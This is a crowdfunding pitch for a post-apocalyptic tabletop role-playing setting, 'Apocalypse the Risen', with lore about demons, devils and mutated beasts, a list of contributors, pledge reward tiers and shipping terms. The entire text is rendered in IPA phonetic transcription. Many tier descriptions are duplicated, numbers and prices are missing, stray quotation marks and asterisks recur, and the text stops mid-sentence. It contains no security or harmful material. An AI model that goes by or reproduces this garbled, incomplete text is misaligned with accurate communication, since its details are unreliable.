ˈteɪkɪŋ ə vərˈaɪəti əv fɔrmz ɔn ərθ. ɪn əˈdɪʃən tɪ ˌsɛpərˈeɪʃən baɪ sɪn ˈneɪʧər, ˈdimənz ˈvɛri baɪ ˈmɛni ˈdɪfərənt kraɪˈtɪriə, paʊərz, ənd ˈfɪzɪkəl əˈpɪrənsəz. ˈdimənz hæv ə ˈhaɪˌrɑrki əˈməŋ iʧ ˈəðər ənd ðə ˈsɛvən ˈlidərz, tɑpt baɪ praɪd. iʧ ˈfækʃən meɪnˈteɪnz ə ˈtɛnjəwəs əˈgrimənt ˈmoʊstli beɪst ɔn fɪr, ˈskimɪŋ ənd vaɪɪŋ fər paʊər. ˈdimənz fɔl ˈɪntu wən əv tu taɪps: ʃənd ənd ɛmˈbreɪst, ɔl stɪl wɪˈθɪn wən əv ðə ˈsɛvən sɪn ˈneɪʧərz. ˌɪnˈkludɪd ʃənd: faɪər ˈərʧən (sloʊθ), (ˈglətəni) ʃənd tɪ ənˈlɑk: drɛʤ (ləst), kəroʊd (ˈɛnvi), (grid), ˈæŋglər (ræθ), ənd (praɪd) ɛmˈbreɪst tɪ ənˈlɑk: ˈʤɑbər (grid), ˈlunəˌtɪk (ˈɛnvi), ənd ˈpjʊrəˌfaɪər (praɪd) ˈdɛvəlz ðiz ˈkriʧərz wər wəns ˈeɪnʤəlz wɪθ dəˈmɪnjən ˈoʊvər ˈvɛriəs ˈæˌspɛkts əv ərθ ənd juˈmænɪti ˌbiˈfɔr ˈgɪvɪŋ ɪn tɪ ðə ˈdɑrknəs. ˈmɛni əv ðiz ˈkriʧərz hɪd ɔn ərθ wɪn ðə silz wər kloʊzd, əˈvɔɪdɪŋ biɪŋ ˌɪmˈprɪzənd ɪn ðə loʊər rɛlm. ˈdɛvəlz ər ə pərˈvərs ənd ˈɔltərd ˈvɛriənt əv ðɛr wəns ˌænˈʤɛlɪk fɔrm. ˈdɛvəlz tɪ ənˈlɑk: ɪˈklɪps ðiz ˈɛriəz ər ˌɪnfˈjuzd wɪθ ˌsupərˈnæʧərəl ˈɛnərʤi θru ˈtræʤədi ər ˈsɑroʊ, naʊ tˈwɪstɪd ənd ˈdeɪnʤərəs. ˈvɛri ˈwaɪdli ɪn saɪz ənd əˈpɪrəns. waɪl ɔl kɔz mjuˈteɪʃənz, iʧ hæv ˈvæstli ˈdɪfərənt ˈfiʧərz ˈɔfən beɪst ɔn ðə ɪˈvɛnts ˈkɔzɪŋ ðɛr ʧeɪnʤ. ˈproʊdus ˈtɛrəbəl mˈjuˌteɪtɪd ˈflɔrə ənd ˈfɔnə, kriˈeɪtɪŋ ˈvɛri ˈdeɪnʤərəs bists. pərˈhæps wərs, səm ˈkɑləniz meɪk ðɛr hoʊmz ɪn, ɛmˈbreɪsɪŋ ðə mjuˈteɪʃənz ənd ˈivɪn ˈwərʃəˌpɪŋ ðə ˈdɑrknəs. ðə tˈwɪstɪd ˌsupərˈnæʧərəl ˈɛnərʤi əv du kriˈeɪt səm ˈvɛri ˈɪntəˌrɛstɪŋ məˈtɪriəlz ˌɪnˈkludɪŋ: dɑrk stil, dɑrk boʊn, ənd dɑrk glæs. bists ˈdeɪnʤərəs ˈflɔrə ənd ˈfɔnə mˈjuˌteɪtɪd baɪ ðə kərˈəptɪŋ ˌsupərˈnæʧərəl ˈfɔrsɪz wɪˈθɪn. ðiz wəns mənˈdeɪn ˈkriʧərz wər ɔˈrɛdi əˈdæptɪŋ tɪ ðə nu hɑrʃ ˌriˈæləˌti əv sərˈvaɪvəl ɪn ərθ. kəmˈbaɪnd wɪθ ˈhɔrəˌfaɪɪŋ mjuˈteɪʃənz ðə wəns fəˈmɪljər ˈænəməlz ər ˈɛniˌθɪŋ bət fəˈmɪljər naʊ. bists tɪ ənˈlɑk: ə vərˈaɪəti əv bists ənd mjuˈteɪʃənz ˈædɪd wɪθ ɪkˈspændɪd ɪnˌvaɪrənˈmɛnəl ˈhæzərdz. ˈrəstɪd ˈpɔrtəl geɪmz braɪnz geɪm dɪˈzaɪn ʧæd ˈmɑtsən lɛd dɪˈvɛləpər, ˈpæθˌfaɪndər ˈʤeɪsən ˈstoʊlbərg lɛd dɪˈvɛləpər, fɪθ ɪˈdɪʃən rid geɪm dɪˈvɛləpər ʤɛf ˈkɑrtər ləˈʤɪstɪks ˈælɪsən hɪnʧ ɑrt dɪˈrɛktər əˈpɑkəˌlɪps ðə ˈrɪzən kənˈtrɪbjutɪŋ ˈɑrtɪsts ˈreɪvən rəˈdrigoʊ ˈveɪgə ˈreɪsɪz ˈprɛstən stoʊn goʊsts, ˈdimənz, ənd ˈdɛvəl ˈvɪnsɪnt ˌkoʊviˈɛloʊ ˈrɪzən ˈkrɪstəfər ˈdimənz əˈpɑkəˌlɪps ðə ˈrɪzən kənˈtrɪbjutɪŋ ˈraɪtərz ˈeɪmi ˈdəˌbɔf əˈmɛrɪkə ˈriʤən ænt tɛsiˈtɔri ˈjuˈɛs ˈriʤən ˈʤeɪkəb hʊbʃ ˈjuˈɛs ˈriʤən ˈrɑbərt ˈheɪzəltən ˈjuˈɛs ˌnɔrˈθist ˈriʤən ʤeɪmz piˈɑŋkə ˈjuˈɛs wɛst ˈriʤən kreɪg gɑˈriskoʊ ˈjuˈɛs ˌnɔrθˈwɛst ˈriʤən ˈʤɛnə ˈpɪtmən ˈjuˈɛs ˌsaʊθˈwɛst ˈriʤən ˈrɪzən ju ˈdɪdənt meɪk ɪt bət wi ˈgreɪtli əˈpriʃiˌeɪt jʊr ˈsækrəˌfaɪs! træk ðə kæmˈpeɪn ənd rɪˈsiv ˈækˌsɛs tɪ ˈəpˌdeɪts. sərˈvaɪvər kənˈgræts, ju meɪd ɪt ðɪs fɑr. θæŋk ju fər jʊr səˈpɔrt ənd gʊd lək aʊt ðɛr. ˈwɔlˌpeɪpər pæk: rɪˈsiv ə reɪnʤ əv ˈɪˌmoʊʃənz ɪn ə fɔr pæk əv ˈdɪʤɪtəl ˈwɔlˌpeɪpər. mərˈɔdər səkˈsɛsfəl reɪd ɔn ðə ˈrəstɪd ˈpɔrtəl ˈkɑləni! əkˈwaɪərd ˈsəmθɪŋ ˈvæljəbəl wɪˈθaʊt ˈluzɪŋ ˈɛniˌwən ɪn ðə ˈɛfərt. wɛl dən. (ʧuz ˈiðər ər) kæmˈpeɪn ˈsɛtɪŋ): rɪˈsiv ðə ˈhɛvəli lɪŋkt kəmˈplit əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ fər ˈiðər fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. rɪˈsiv ðə ˈhɛvəli lɪŋkt kəmˈplit əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ fər ˈiðər fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. ““campaign”*” strɛʧ goʊlz: jʊr səˈlɛktɪd ˈkɑpi əv ðə geɪm ər) prɪnt) wɪl ˌɪnˈklud ɔl ““campaign”*” strɛʧ goʊlz ənˈlɑkt θruaʊt ðə kɔrs əv ðɪs kæmˈpeɪn. ðiz strɛʧ goʊlz æd ə ˈsaɪzəbəl əˈmaʊnt əv ˈkɑntɛnt ˈɪntu ðə ˈfaɪnəl bʊk. jʊr səˈlɛktɪd ˈkɑpi əv ðə geɪm ər) prɪnt) wɪl ˌɪnˈklud ɔl ““campaign”*” strɛʧ goʊlz ənˈlɑkt θruaʊt ðə kɔrs əv ðɪs kæmˈpeɪn. ðiz strɛʧ goʊlz æd ə ˈsaɪzəbəl əˈmaʊnt əv ˈkɑntɛnt ˈɪntu ðə ˈfaɪnəl bʊk. ɔl rɪˈwɔrdz frəm sərˈvaɪvər rɪˈpɔrtər ju ər əˈkəstəmd tɪ ˈtrævəlɪŋ laɪt ɔn jʊr rut bɪtˈwin ˈkɑləniz. ju treɪd ɪn ˈnɑlɪʤ, ˈrumər, ənd gʊd wɪl. ““adventure”*” strɛʧ goʊlz: rɪˈsiv ɔl ənˈlɑkt ˈkɑntɛnt frəm ðə ˈsoʊʃəl ˈmidiə transmissions”*” ənd ɔl ənˈlɑkt ““adventure”*” strɛʧ goʊlz fər ˈɛntriz ˈɪntu ðə ˈʤərnəl əv ˈdɑktər. ˈdɑbrɪn. rɪˈsiv ɔl ənˈlɑkt ˈkɑntɛnt frəm ðə ˈsoʊʃəl ˈmidiə transmissions”*” ənd ɔl ənˈlɑkt ““adventure”*” strɛʧ goʊlz fər ˈɛntriz ˈɪntu ðə ˈʤərnəl əv ˈdɑktər. ˈdɑbrɪn. chest”*” strɛʧ goʊlz: rɪˈsiv ɔl chest”*” strɛʧ goʊlz ɪn ənˈlɑkt θruaʊt ðə kɔrs əv ðɪs kæmˈpeɪn fər ðə səˈlɛktɪd ˈsɪstəm ər). rɪˈsiv ɔl chest”*” strɛʧ goʊlz ɪn ənˈlɑkt θruaʊt ðə kɔrs əv ðɪs kæmˈpeɪn fər ðə səˈlɛktɪd ˈsɪstəm ər). ɔl rɪˈwɔrdz frəm mərˈɔdər (ɔl məˈtɪriəl fər ˈiðər ˈpæθˌfaɪndər ər fɪθ ɪˈdɪʃən) ˈkɑlənɪst ˈfaɪnəli, ə pleɪs ju kən kɔl hoʊm ɪn ðɪs wərld gɔn mæd. ju hæv ˈʃɛltər, frɛndz, ˈpipəl ðət lʊk ˈæftər ju ənd rɪˈlaɪ ɔn ju. ˈkɑləniz ər ðə fərst stɛp frəm sərˈvaɪvɪŋ təˈwɔrd θˈraɪvɪŋ. (ʧuz ˈiðər ər) kæmˈpeɪn ˈsɛtɪŋ (prɪnt): rɪˈsiv ðə fʊl ˈkələr ˈhɑrdˌbæk prɪnt əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ. fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. rɪˈsiv ðə fʊl ˈkələr ˈhɑrdˌbæk prɪnt əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ. fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. ““adventure”*” strɛʧ goʊlz: rɪˈsiv ɔl ənˈlɑkt ˈkɑntɛnt frəm ðə ˈsoʊʃəl ˈmidiə transmissions”*” ənd ɔl ənˈlɑkt ““adventure”*” strɛʧ goʊlz fər ədˈvɛnʧər ˈɛntriz ˈɪntu ðə ˈʤərnəl əv ˈdɑktər. ˈdɑbrɪn. rɪˈsiv ɔl ənˈlɑkt ˈkɑntɛnt frəm ðə ˈsoʊʃəl ˈmidiə transmissions”*” ənd ɔl ənˈlɑkt ““adventure”*” strɛʧ goʊlz fər ədˈvɛnʧər ˈɛntriz ˈɪntu ðə ˈʤərnəl əv ˈdɑktər. ˈdɑbrɪn. ɔl rɪˈwɔrdz strɛʧ goʊlz frəm mərˈɔdər ˈskævənʤər ju hæv meɪd jʊr weɪ ɪn ðɪs wərld baɪ ˈfaɪndɪŋ ˈvæljəbəl ˈæˌsɛts ɪn ənˈlaɪkli ˈpleɪsɪz. ˈoʊvərˌlʊkt ˈrisɔrs ˈhaɪdɪŋ ər noʊ mæʧ fər jʊr skɪld aɪ. (boʊθ ) kæmˈpeɪn ˈsɛtɪŋ): rɪˈsiv ðə ˈhɛvəli lɪŋkt kəmˈplit əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ ˌɪnˈkludɪŋ egg”*” ˈwɔtərˌmɑrk fər boʊθ fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. rɪˈsiv ðə ˈhɛvəli lɪŋkt kəmˈplit əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ ˌɪnˈkludɪŋ egg”*” ˈwɔtərˌmɑrk fər boʊθ fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. rɪˈwɔrdz ɛz pər rɪˈpɔrtər bət wɪθ ɔl ˈkɑntɛnt fər boʊθ ˈpæθˌfaɪndər ənd fɪθ ɪˈdɪʃən treɪd ɪz ˈvaɪtəl tɪ ðə hɛlθ əv ə ˈkɑləni ənd ju hæv faʊnd ə nɪʧ dɪˈlɪvərɪŋ ðə gʊdz. laɪf ɔn ðə roʊd ɪz ˈɔlˌweɪz ən ədˈvɛnʧər, bət ðə ˈkɑləniz ju treɪd wɪθ ər ˈhæpi tɪ si ju... ˈjuʒəwəli. (ʧuz ˈiðər ər) ˈkɛrɪktər pæd iʧ) (prɪnt): rɪˈsiv ə pæd iʧ əv əˈpɑkəˌlɪps ðə ˈrɪzən ənd ˈkɛrɪktər ʃits. prɪnt ʤɑb ɔn haɪ kˈwɑləti ˈpeɪpər wɪθ ə tɪr əˈweɪ glud tɔp ɔn ə ˈkɑrdˌbɔrd ˈbækər. greɪt fər kæmˈpeɪn bɪld ˈsɛʃənz! rɪˈsiv ə pæd iʧ əv əˈpɑkəˌlɪps ðə ˈrɪzən ənd ˈkɛrɪktər ʃits. prɪnt ʤɑb ɔn haɪ kˈwɑləti ˈpeɪpər wɪθ ə tɪr əˈweɪ glud tɔp ɔn ə ˈkɑrdˌbɔrd ˈbækər. greɪt fər kæmˈpeɪn bɪld ˈsɛʃənz! chest”*” strɛʧ goʊlz: rɪˈsiv ɔl chest”*” strɛʧ goʊlz ənˈlɑkt θruaʊt ðə kɔrs əv ðɪs kæmˈpeɪn. rɪˈsiv ɔl chest”*” strɛʧ goʊlz ənˈlɑkt θruaʊt ðə kɔrs əv ðɪs kæmˈpeɪn. ɔl rɪˈwɔrdz strɛʧ goʊlz frəm ˈkɑlənɪst ˈhəntər ju pʊt jʊr ˈseɪfti ɔn ðə laɪn ˈɛvəri deɪ. ɪf ə ˈhɪroʊ ɪgˈzɪsts ɔn ərθ, ðə ˈkɑləni ˈhəntərz wʊd rɪˈsiv ðət ˈɑnər. ju ər ə ˈwɔrjər, θru bleɪdz, gənz ər ˈmæʤɪk, ˈskævənʤɪŋ ərθ ənd ˈbætəlɪŋ hɔrdz əv ˈrɪzən ənd ðə ˈdɑrknəs fər ðə ˈbɛtərmənt əv jʊr ˈkɑləni. (ʧuz ˈiðər ər) kæmˈpeɪn ˈsɛtɪŋ (ˈlɛðər): ɪkˈsklusɪv! rɪˈsiv ðə fʊl ˈkələr əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ baʊnd ɪn ˈlɛðər (ənˈdaʊtɪdli ˈdimən haɪd). fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. ɪkˈsklusɪv! rɪˈsiv ðə fʊl ˈkələr əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ baʊnd ɪn ˈlɛðər (ənˈdaʊtɪdli ˈdimən haɪd). fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. ɔl rɪˈwɔrdz strɛʧ goʊlz frəm ˈlɛʤənd wərd əv jʊr ˈɛkˌsplɔɪts ɪkˈstɛndz θruaʊt ðə ˈriʤən. mərˈɔdərz əˈvɔɪd jʊr ˈkɑləni fər fɪr əv ˌrɛtrəˈbjuʃən. (boʊθ ) kæmˈpeɪn ˈsɛtɪŋ): rɪˈsiv ðə ˈhɛvəli lɪŋkt kəmˈplit əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ ˌɪnˈkludɪŋ egg”*” ˈwɔtərˌmɑrk fər boʊθ fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. rɪˈsiv ðə ˈhɛvəli lɪŋkt kəmˈplit əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ ˌɪnˈkludɪŋ egg”*” ˈwɔtərˌmɑrk fər boʊθ fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. (boʊθ ) kæmˈpeɪn ˈsɛtɪŋ (prɪnt): rɪˈsiv ðə fʊl ˈkələr ˈhɑrdˌbæk prɪnt əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ. fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. rɪˈsiv ðə fʊl ˈkələr ˈhɑrdˌbæk prɪnt əv ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ. fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. (boʊθ ) ˈkɛrɪktər pæd iʧ) (prɪnt): rɪˈsiv ə pæd iʧ əv əˈpɑkəˌlɪps ðə ˈrɪzən ənd ˈkɛrɪktər ʃits. prɪnt ʤɑb ɔn haɪ kˈwɑləti ˈpeɪpər wɪθ ə tɪr əˈweɪ glud tɔp ɔn ə ˈkɑrdˌbɔrd ˈbækər. rɪˈsiv ə pæd iʧ əv əˈpɑkəˌlɪps ðə ˈrɪzən ənd ˈkɛrɪktər ʃits. prɪnt ʤɑb ɔn haɪ kˈwɑləti ˈpeɪpər wɪθ ə tɪr əˈweɪ glud tɔp ɔn ə ˈkɑrdˌbɔrd ˈbækər. ““handle”*” ˌɪnˈskrɪpʃən: jʊr ˈhændəl neɪm) wɪl bi ˈædɪd tɪ ðə bʊk ɛz pɑrt əv ðə ˈrəstɪd ˈpɔrtəl ˈkɑləni. jʊr pleɪs əv ˈɑnər wɪl goʊ daʊn ɪn əˈpɑkəˌlɪps ðə ˈrɪzən ˈhɪstəri! jʊr ˈhændəl neɪm) wɪl bi ˈædɪd tɪ ðə bʊk ɛz pɑrt əv ðə ˈrəstɪd ˈpɔrtəl ˈkɑləni. jʊr pleɪs əv ˈɑnər wɪl goʊ daʊn ɪn əˈpɑkəˌlɪps ðə ˈrɪzən ˈhɪstəri! skrin: rɪˈsiv ə fʊl ˈkələr skrin ˌɪnˈkludɪŋ ˌɪnˈkrɛdəbəl əˈpɑkəˌlɪps ðə ˈrɪzən ɑrt ənd ˈvæljəbəl tulz. rɪˈsiv ə fʊl ˈkələr skrin ˌɪnˈkludɪŋ ˌɪnˈkrɛdəbəl əˈpɑkəˌlɪps ðə ˈrɪzən ɑrt ənd ˈvæljəbəl tulz. ɔl ˈəðər rɪˈwɔrdz strɛʧ goʊlz frəm ænˈtɪkwəti ju ər ə wərld ˈtrævələr, ˈrənɪŋ ˈʧænəlz frəm wən ˈkɔrnər əv ərθ tɪ əˈnəðər ənˈkəvərɪŋ ˈeɪnʧənt ˈrɛlɪks tɪ ˈbætəl ðə ˈdɑrknəs. ˈdimənz noʊ ju baɪ neɪm ənd ˈæktɪvli hənt ju. (boʊθ ) kæmˈpeɪn ˈsɛtɪŋ (ˈlɛðər): ɪkˈsklusɪv! rɪˈsiv ðə fʊl ˈkələr əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ baʊnd ɪn ˈlɛðər (ənˈdaʊtɪdli ˈdimən haɪd). fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. ɪkˈsklusɪv! rɪˈsiv ðə fʊl ˈkələr əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ baʊnd ɪn ˈlɛðər (ənˈdaʊtɪdli ˈdimən haɪd). fɪθ ɪˈdɪʃən ənd ˈpæθˌfaɪndər kəmˈpætəbəl. ˈkɛrɪktər bɪldz): rɪˈsiv ðə ˈkɛrɪktər ʃits fər ɔl naɪn klæs fər boʊθ ˈsɪstəmz ənd ˈpæθˌfaɪndər kəmˈpætəbəl). ˈævərɪʤ ˈlɛvəl ənd ˌɪnˈklud juˈnik gɪr, ˈmæʤɪk ˈaɪtəmz, ənd ˈstɔri hʊks. rɪˈsiv ðə ˈkɛrɪktər ʃits fər ɔl naɪn klæs fər boʊθ ˈsɪstəmz ənd ˈpæθˌfaɪndər kəmˈpætəbəl). ˈævərɪʤ ˈlɛvəl ənd ˌɪnˈklud juˈnik gɪr, ˈmæʤɪk ˈaɪtəmz, ənd ˈstɔri hʊks. ɔl ˈəðər rɪˈwɔrdz strɛʧ goʊlz frəm ˈlɛʤənd. ˈprɪnɪd bʊks ər ˈlɛðər baʊnd. ju hæv mɛt ˈmɛni ˈeɪʤənts əv ðə ˈdɑrknəs ənd sərˈvaɪvd. jʊr ˈnɑlɪʤ əv ˈdimənz ɪz ˌənsərˈpæst, ˈhævɪŋ dɪˈvɛləpt ˈstrætəʤiz ənd ˈtæktɪks əˈgɛnst ˈivɪn ðə moʊst ˌɪnˈdɑktrəˌneɪtɪd ɛmˈbreɪst. ju hæv ˈdɑkjəˌmɛnəd ə nu ˈdimən ənd dɪˈtərmənd ɪts neɪm. ˈdimən dɪˈzaɪnər! wərk dɪˈrɛkli wɪθ ðə ˈrəstɪd ˈpɔrtəl tim tɪ dɪˈzaɪn ə juˈnik ˈdimən fər əˈpɑkəˌlɪps ðə ˈrɪzən (ʃənd ər ɛmˈbreɪst) ɪn boʊθ ənd ˈpæθˌfaɪndər. jʊr ˈdimən dɪˈzaɪn wɪl bi prəˈfɛʃənəli ˈɪləˌstreɪtɪd baɪ ˈɑrtɪst ˈprɛstən stoʊn. ju wɪl rɪˈsiv ə əv ðə kəmˈplitɪd dɪˈzaɪn wɪθ stæt blɑk ənd jʊr ˈdimən wɪl bi ˈædɪd tɪ ə fˈjuʧər ˌpəblɪˈkeɪʃən wɛr ju wɪl rɪˈsiv geɪm dɪˈzaɪnər ˈkrɛdɪt. wərk dɪˈrɛkli wɪθ ðə ˈrəstɪd ˈpɔrtəl tim tɪ dɪˈzaɪn ə juˈnik ˈdimən fər əˈpɑkəˌlɪps ðə ˈrɪzən (ʃənd ər ɛmˈbreɪst) ɪn boʊθ ənd ˈpæθˌfaɪndər. jʊr ˈdimən dɪˈzaɪn wɪl bi prəˈfɛʃənəli ˈɪləˌstreɪtɪd baɪ ˈɑrtɪst ˈprɛstən stoʊn. ju wɪl rɪˈsiv ə əv ðə kəmˈplitɪd dɪˈzaɪn wɪθ stæt blɑk ənd jʊr ˈdimən wɪl bi ˈædɪd tɪ ə fˈjuʧər ˌpəblɪˈkeɪʃən wɛr ju wɪl rɪˈsiv geɪm dɪˈzaɪnər ˈkrɛdɪt. ɔl rɪˈwɔrdz strɛʧ goʊlz frəm ænˈtɪkwəti dɪˈrɛktər jʊr ˈkɑləni ɪz ə həb fər treɪd ənd ju ɪts rɪˈspɛktɪd ˈlidər. jʊr ˈnɑlɪʤ spərz ˈhəntərz tɪ ədˈvɛnʧər əraʊnd ðə gloʊb. ju ər ðə seɪʤ ɪkˈsplɔrərz sik fər ˈɑrtəˌfækts əv ðə ˌbiˈfɔr ənd ju ˈivɪn noʊ ðə ˈdimən ˈgɑrdɪŋ ðɛm. ədˈvɛnʧər dɪˈzaɪnər! wərk dɪˈrɛkli wɪθ ðə ˈrəstɪd ˈpɔrtəl tim tɪ dɪˈzaɪn ə ədˈvɛnʧər əv əp tɪ ˈlɛvəl, kriˈeɪtɪd ɪn boʊθ ənd ˈpæθˌfaɪndər. jʊr dɪˈzaɪn wɪl ˌɪnˈklud kriˈeɪtɪŋ ən ˌɪmˈpɔrtənt ˈkɑləni ˈædɪd tɪ ðə əˈpɑkəˌlɪps ðə ˈrɪzən ˈkænən wɛr ðə ədˈvɛnʧər wɪl ərˈɪʤəˌneɪt. jʊr dɪˈzaɪn wɪl ˌɪnˈklud kriˈeɪʃən əv ðə ˈlidər əv ðə ˈkɑləni wɪʧ wi wɪl hæv ˈɪləˌstreɪtɪd tɪ fʊlˈfɪl jʊr ˈkɑnsɛpt. ðə ədˈvɛnʧər wɪl ˌɪnˈklud kriˈeɪʃən əv ə juˈnik ˈmæʤɪkəl ˈrɛlɪk ənd ə ˈnuli dɪˈskəvərd ˈdimən, boʊθ əv wɪʧ wi wɪl wərk wɪθ ju tɪ dɪˈzaɪn. ðət ˈdimən wɪl bi ˈɪləˌstreɪtɪd baɪ ˈɑrtɪst ˈprɛstən stoʊn. ju rɪˈsiv ə əv ðə kəmˈplitɪd ədˈvɛnʧər leɪaʊt wɪθ ˌɪləˈstreɪʃənz wɪʧ wɪl ˈɔlsoʊ bi ˈpəblɪʃt wɛr ju wɪl rɪˈsiv geɪm dɪˈzaɪnər ˈkrɛdɪt. wərk dɪˈrɛkli wɪθ ðə ˈrəstɪd ˈpɔrtəl tim tɪ dɪˈzaɪn ə ədˈvɛnʧər əv əp tɪ ˈlɛvəl, kriˈeɪtɪd ɪn boʊθ ənd ˈpæθˌfaɪndər. jʊr dɪˈzaɪn wɪl ˌɪnˈklud kriˈeɪtɪŋ ən ˌɪmˈpɔrtənt ˈkɑləni ˈædɪd tɪ ðə əˈpɑkəˌlɪps ðə ˈrɪzən ˈkænən wɛr ðə ədˈvɛnʧər wɪl ərˈɪʤəˌneɪt. jʊr dɪˈzaɪn wɪl ˌɪnˈklud kriˈeɪʃən əv ðə ˈlidər əv ðə ˈkɑləni wɪʧ wi wɪl hæv ˈɪləˌstreɪtɪd tɪ fʊlˈfɪl jʊr ˈkɑnsɛpt. ðə ədˈvɛnʧər wɪl ˌɪnˈklud kriˈeɪʃən əv ə juˈnik ˈmæʤɪkəl ˈrɛlɪk ənd ə ˈnuli dɪˈskəvərd ˈdimən, boʊθ əv wɪʧ wi wɪl wərk wɪθ ju tɪ dɪˈzaɪn. ðət ˈdimən wɪl bi ˈɪləˌstreɪtɪd baɪ ˈɑrtɪst ˈprɛstən stoʊn. ju rɪˈsiv ə əv ðə kəmˈplitɪd ədˈvɛnʧər leɪaʊt wɪθ ˌɪləˈstreɪʃənz wɪʧ wɪl ˈɔlsoʊ bi ˈpəblɪʃt wɛr ju wɪl rɪˈsiv geɪm dɪˈzaɪnər ˈkrɛdɪt. ɔl rɪˈwɔrdz strɛʧ goʊlz frəm ænˈtɪkwəti ˌaɪˈkɑnɪk noʊ ˈəðər həz kəm ˌbiˈfɔr ju ɔn ərθ. ju wild nu ənd streɪnʤ paʊərz ɪn ən ɔˈrɛdi æbˈnɔrməl wərld. ju ər ˌaɪˈkɑnɪk! klæs dɪˈzaɪnər! wərk dɪˈrɛkli wɪθ ðə ˈrəstɪd ˈpɔrtəl tim tɪ dɪˈzaɪn ə tɛnθ ˈkɛrɪktər klæs fər əˈpɑkəˌlɪps ðə ˈrɪzən ɪn boʊθ ənd ˈpæθˌfaɪndər. ju wɪl geɪn ˌɪnˈsaɪdər ˈækˌsɛs tɪ ðə ˈlɑrʤər wərldz əv ðə ˈpɔrtəl ˈsɛtɪŋ, ˌɪnˈkludɪŋ ˈpɛrəˌdɑks, ˈpərgəˌtɔri, ənd ðə vɔɪd. jʊr klæs dɪˈzaɪn wɪl bi prəˈfɛʃənəli ˈɪləˌstreɪtɪd ənd ju rɪˈsiv əv ðə kəmˈplitɪd dɪˈzaɪn. ðə nu klæs wɪl bi ˌɪnˈkludɪd ɪn fˈjuʧər ˌpəblɪˈkeɪʃənz wɛr ju wɪl rɪˈsiv geɪm dɪˈzaɪnər ˈkrɛdɪt. wərk dɪˈrɛkli wɪθ ðə ˈrəstɪd ˈpɔrtəl tim tɪ dɪˈzaɪn ə tɛnθ ˈkɛrɪktər klæs fər əˈpɑkəˌlɪps ðə ˈrɪzən ɪn boʊθ ənd ˈpæθˌfaɪndər. ju wɪl geɪn ˌɪnˈsaɪdər ˈækˌsɛs tɪ ðə ˈlɑrʤər wərldz əv ðə ˈpɔrtəl ˈsɛtɪŋ, ˌɪnˈkludɪŋ ˈpɛrəˌdɑks, ˈpərgəˌtɔri, ənd ðə vɔɪd. jʊr klæs dɪˈzaɪn wɪl bi prəˈfɛʃənəli ˈɪləˌstreɪtɪd ənd ju rɪˈsiv əv ðə kəmˈplitɪd dɪˈzaɪn. ðə nu klæs wɪl bi ˌɪnˈkludɪd ɪn fˈjuʧər ˌpəblɪˈkeɪʃənz wɛr ju wɪl rɪˈsiv geɪm dɪˈzaɪnər ˈkrɛdɪt. ɔl rɪˈwɔrdz strɛʧ goʊlz frəm ænˈtɪkwəti dəˈmɛstɪk ˈʃɪpɪŋ dəˈmɛstɪk ˈʃɪpɪŋ ɪn ðə ˈjuˈɛs wɪl bi ˈædɪd tɪ jʊr plɛʤ. ðə praɪs ˌrɛprɪˈzɛnts ðə ˈɛstəˌmeɪtɪd ˈʃɪpɪŋ kɔsts fər ðə ˈkɑntɛnt ˌɪnˈkludɪd fər ðət plɛʤ. ðə ˈvərʒənz wɪθ tu bʊks ˌrikˈwaɪər mɔr ˈʃɪpɪŋ ðən ðə ˈsɪŋgəl bʊk ˈlɛvəlz. ˌɪnərˈnæʃənɑl ˈʃɪpɪŋ ˌɪnərˈnæʃənɑl ˈʃɪpɪŋ ɪz nɑt ˌɪnˈkludɪd wɪθ jʊr plɛʤ. ˈʃɪpɪŋ ˌɪnərˈnæʃənɑli ɪz ənˈfɔrʧənətli ˈvɛri ɪkˈspɛnsɪv ənd ðə reɪt ˌfləkʧuˈeɪʃənz meɪk ɪt ˈdɪfəkəlt tɪ prɪˈdɪkt. ˈʃɪpɪŋ ˈaʊtˈsaɪd ðə ˈjuˈɛs ˈvɛriz dɪˈpɛndɪŋ ɔn jʊr ˈkəntri ənd wɪʧ rɪˈwɔrdz ju rɪˈsiv. peɪ ðə ˈʃɪpɪŋ kɔsts æt ðə taɪm əv fʊlˈfɪlmənt. wi ɪnˈkərəʤ ˌɪnərˈnæʃənɑl ˈbækərz tɪ ˈvɪzɪt ðə ˈwɛbˌsaɪt fər ən 